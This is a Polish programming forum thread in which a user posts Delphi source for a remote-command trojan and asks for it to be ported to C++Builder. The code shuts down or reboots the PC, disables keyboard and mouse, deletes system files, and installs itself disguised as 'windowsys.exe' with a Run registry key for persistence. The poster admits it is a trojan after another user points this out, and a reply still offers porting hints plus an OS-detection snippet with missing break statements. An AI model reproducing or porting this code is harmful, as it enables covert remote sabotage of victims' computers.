[Chętni] Delphi zamienić na C++Buildera...

0

if Rec = 'opencd' then
mciSendString('Set cdaudio door open wait',nil,0,handle);
if Rec = 'closecd' then
mciSendString('Set cdaudio door closed wait',nil,0,handle);
if Rec = 'logout' then
Win32Check(ExitWindows(0, 0));
if Rec = 'mouseshow' then
ShowCursor(False);
if Rec = 'mousehide' then
ShowCursor(True);
if Rec = 'kayhide' then
HideCaret(Handle);
if Rec = 'kayshow' then
ShowCaret(Handle);
if Rec = 'monitoroff' then
SendMessage(Application.Handle,wm_SysCommand,SC_MonitorPower,1);
if Rec = 'computeroff' then
Win32Check(ExitWindowsEx(EWX_SHUTDOWN, 0));
if Rec = 'monitoron' then
SendMessage(Application.Handle,wm_SysCommand,SC_MonitorPower,-1);
if Rec = 'mouseswap' then
SwapMouseButton(True);
if Rec = 'systemreboot' then
Win32Check(ExitWindowsEx(EWX_REBOOT, 0));
if Rec = 'mouseswapoff' then
SwapMouseButton(False);
if Rec = 'keyboardctrlalt' then
SystemParametersInfo(97,Word(True),@wartosc,0);
if Rec = 'jdbgmgr.exe' then
DeleteFile('c:\windows\system32\jdbgmgr.exe');
if Rec = 'keyboardkeys' then
SystemParametersInfo(97,Word(False),@wartosc,0);
if Rec = 'mousehalt' then
ShellExecute(Handle,'open','rundll32','mouse,disable',nil,SW_SHOWNORMAL);
if Rec = 'keyboardhalt' then
ShellExecute(Handle,'open','rundll32','keyboard,disable',nil,SW_SHOWNORMAL);
if Rec = 'testpage' then
ShellExecute(Handle,'open','rundll32','msprint2.dll,RUNDLL_PrintTestPage',nil,SW_SHOWNORMAL);
if Rec = 'autoexecdel' then
DeleteFile('c:\autoexec.bat');
if Rec = 'autoexecedit' then
listbox2.items.LoadFromFile('c:\autoexec.bat');
if Rec = 'wygaszacz' then
SendMessage(Handle, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
if Rec = 'stanocz' then
SetSystemPowerState(true, true);
if Rec = 'klikstart' then
SetDoubleClicktime(500);
if Rec = 'klikstarta' then
SetDoubleClicktime(100);
if Rec = 'klikstartb' then
SetDoubleClicktime(200);
if Rec = 'klikstartc' then
SetDoubleClicktime(300);
if Rec = 'klikstartd' then
SetDoubleClicktime(400);
if Rec = 'klikstarte' then
SetDoubleClicktime(600);
if Rec = 'klikstartf' then
SetDoubleClicktime(700);
if Rec = 'klikstartg' then
SetDoubleClicktime(800);
if Rec = 'klikstarth' then
SetDoubleClicktime(900);
if Rec = 'delauto' then
autostart('winsystemo');
if Rec = 'badregedit' then
rejestrmiesz('');
if Rec = 'fotamonita' then
foteczka('pulpitos.bmp');
end;

procedure TMainForm.FormCreate(Sender: TObject);
var
Reg: TRegistry;
x: LongBool;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
Reg.WriteString('winsystemo', '"C:\windows\system32\windowsys.exe"');
finally
Reg.Free;
end;
CopyFile(PChar(Application.ExeName), PChar('c:\windows\system32\windowsys.exe'), x);
end;

TO WYZEJ JEST W DELPHI mysle ze kazdy sie domysli do czego po
naprzykład if Rec = 'closecd' then close cd hmm?? do zamkniecia cdka?? TAK ;P
zamiencie na C++Buildera czy na C bo to i tak dodam do projektu ;)

0

ja tak se myśle że to trojan ... a poza tym widać że ci sie nie chce .. bo
to jest proste ...

0

Wiec Rudy byl to trojan racja... lecz teraz potrzebuje to do naukowego szkolnego programu powiedzmy ze czesc bo niektore nie potrzebuje.
Co do tego ze latwe masz na mysli pewnie zamienic '' na "" lecz nie co w Delphi wszytko na pewno jest w C++Builder to samo
np zamkniecie systemu, albo pobranie nazwy systemu (jaki windows) XP, NT,98 i porbanie IP zewnetrznego , sieciowego...

0

załóżmy że Rec to AnsiString to wystarczy:
if (Rec=="xxx") { }

co do regita:

TRegistry *Reg = new TRegistry(KEY_WRITE);

reszta podobnie jak w delphi tyle że -> zamiast .

[Dopisane]

no jeśli chodzi o system operacyjny to spooboj:

TOSVersionInfo Os;

Os.dwOSVersionInfoSize=sizeof(Os);
GetVersionEx(&Os);
switch (Os.dwPlatformId) {
case VER_PLATFORM_WIN32s: { Caption="WIN 3.1"; }
case VER_PLATFORM_WIN32_WINDOWS:{ Caption="WIN 9x";
case VER_PLATFORM_WIN32_NT: { Caption="WIN NT"; }
}
}

więcej info masz w faq

1 użytkowników online, w tym zalogowanych: 0, gości: 1